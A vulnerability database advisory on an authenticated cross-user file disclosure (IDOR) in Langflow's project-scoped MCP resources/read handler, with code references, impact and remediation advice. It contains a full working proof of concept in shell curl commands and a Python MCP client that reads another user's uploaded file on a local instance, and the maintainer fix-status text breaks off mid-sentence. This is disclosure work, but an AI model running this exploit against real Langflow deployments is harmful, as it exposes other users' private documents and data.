logo

Database

Improper authorization control for web services In langflow

Description

Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers ### Summary Langflow's project-scoped MCP transport authenticates the caller for the project_id in the connection URL, but the subsequent resources/read operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership. This is a cross-user authorization bypass (userA -> userB) that allows arbitrary read access to files stored under other users' flow namespaces. ### Details Verified against local checkout: - Repository: langflow-ai/langflow - Verified on release tag: v1.8.3 - Commit: 08bf98404cfd7737fde57a2588785766cdf1b42e - Earliest stable release known to contain the vulnerable code path: v1.6.8 Relevant code path: 1. src/backend/base/langflow/api/v1/mcp_projects.py:147-193 verify_project_auth_conditional() authenticates the caller and checks access only to the project_id in the MCP transport URL. 2. src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241 The project-scoped MCP server registers read_resource() and forwards the attacker-controlled URI directly to handle_read_resource(uri=uri). 3. src/backend/base/langflow/api/v1/mcp_utils.py:163-182 handle_read_resource() parses the last two URI path segments as flow_id and filename, then directly calls: python storage_service.get_file(flow_id=flow_id, file_name=filename) No check ties the supplied flow_id back to the authenticated user or the current project. 4. src/backend/base/langflow/services/storage/local.py:141-149 src/backend/base/langflow/services/storage/s3.py:200-217 The storage layer performs a raw namespace read and is not authorization-aware. The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI. This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data: - src/backend/base/langflow/api/v1/mcp_utils.py:102-121 handle_list_resources(project_id=None) lists files for all flows. - src/backend/base/langflow/api/v1/mcp_utils.py:333-380 handle_list_tools(project_id=None) queries all flows and includes flow IDs in tool metadata. That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier. ### PoC Preconditions: - Langflow is running locally with authentication enabled. - Two separate users exist on the same instance. - The victim has a flow with an uploaded file. - The attacker has access to any project they own. Verify the issue locally by starting Langflow with: bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow' set -a source .env.verify set +a export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify" uv run python - <<'PY' from langflow.main import setup_app import uvicorn app = setup_app(backend_only=True) uvicorn.run(app, host="127.0.0.1", port=7860, log_level="debug") PY Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that: - the normal file download route is blocked for the attacker (404) - the same file is readable through the attacker's own project-scoped MCP connection bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow' set -euo pipefail export BASE='http://127.0.0.1:7860' export PASS='Passw0rd!Passw0rd!' export VICTIM_USER="victim.$RANDOM@example.com" export ATTACKER_USER="attacker.$RANDOM@example.com" curl -sS -X POST "$BASE/api/v1/users/" \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$VICTIM_USER\",\"password\":\"$PASS\"}" >/dev/null curl -sS -X POST "$BASE/api/v1/users/" \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null export VICTIM_TOKEN=$( curl -sS -X POST "$BASE/api/v1/login" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "username=$VICTIM_USER" \ --data-urlencode "password=$PASS" | jq -r '.access_token' ) export ATTACKER_TOKEN=$( curl -sS -X POST "$BASE/api/v1/login" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "username=$ATTACKER_USER" \ --data-urlencode "password=$PASS" | jq -r '.access_token' ) export VICTIM_PROJECT_ID=$( curl -sS -X POST "$BASE/api/v1/projects/" \ -H "Authorization: Bearer $VICTIM_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"victim-project"}' | jq -r '.id' ) export ATTACKER_PROJECT_ID=$( curl -sS -X POST "$BASE/api/v1/projects/" \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-project"}' | jq -r '.id' ) export VICTIM_FLOW_ID=$( curl -sS -X POST "$BASE/api/v1/flows/" \ -H "Authorization: Bearer $VICTIM_TOKEN" \ -H 'Content-Type: application/json' \ -d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \ | jq -r '.id' ) printf 'cross-project-read-proof\n' > /tmp/secret.txt export UPLOAD_JSON=$( curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \ -H "Authorization: Bearer $VICTIM_TOKEN" \ -F "file=@/tmp/secret.txt" ) export VICTIM_FILE=$( printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last' ) export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE" export ATTACKER_API_KEY=$( curl -sS -X POST "$BASE/api/v1/api_key/" \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-mcp-key"}' | jq -r '.api_key' ) export DIRECT_STATUS=$( curl -sS -o /dev/null -w '%{http_code}' \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ "$VICTIM_URI" ) export MCP_READ_OUTPUT=$( uv run python - <<'PY' import asyncio import base64 import os import httpx from mcp import ClientSession from mcp.client.streamable_http import streamable_http_client base = os.environ["BASE"] project_id = os.environ["ATTACKER_PROJECT_ID"] api_key = os.environ["ATTACKER_API_KEY"] victim_uri = os.environ["VICTIM_URI"] url = f"{base}/api/v1/mcp/project/{project_id}/streamable" async def main(): async with httpx.AsyncClient(headers={"x-api-key": api_key}, timeout=30.0) as client: async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _): async with ClientSession(read_stream, write_stream) as session: await session.initialize() result = await session.read_resource(victim_uri) blob = result.contents[0].blob print(base64.b64decode(base64.b64decode(blob)).decode().strip()) asyncio.run(main()) PY ) echo "Direct /files/download as attacker -> $DIRECT_STATUS" echo "Project-scoped MCP resources/read -> $MCP_READ_OUTPUT" Expected output: text Direct /files/download as attacker -> 404 Project-scoped MCP resources/read -> cross-project-read-proof Observed server logs during verification: text GET /api/v1/files/download/... 404 Not Found POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK ### Impact This is an authenticated IDOR / arbitrary file read issue in the MCP layer. Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to resources/read. Practical impact includes: - Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts - Unauthorized access to sensitive business data stored in flow namespaces - Easier exploitation when global MCP helpers reveal other users' flow IDs and file names ### Suggested Remediations 1. Authorize resources/read against the authenticated context before calling storage. Resolve flow_id to a database object and require both: flow.user_id == current_user.id and, for project-scoped transports, flow.folder_id == current_project_id. 2. Stop trusting arbitrary file-download URIs as resource identifiers. Instead, return opaque server-generated resource IDs from resources/list and resolve them server-side to an already authorized object. 3. Scope global MCP enumeration helpers to the authenticated user. handle_list_resources() and handle_list_tools() should not query all flows when project_id=None; they should return only flows owned by the current user, or require elevated privileges for broader discovery. ### Fix Status (Maintainer Triage Update — 2026-09-22) This report is accurate. The vulnerable code path

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Component
Affected version
Patched versions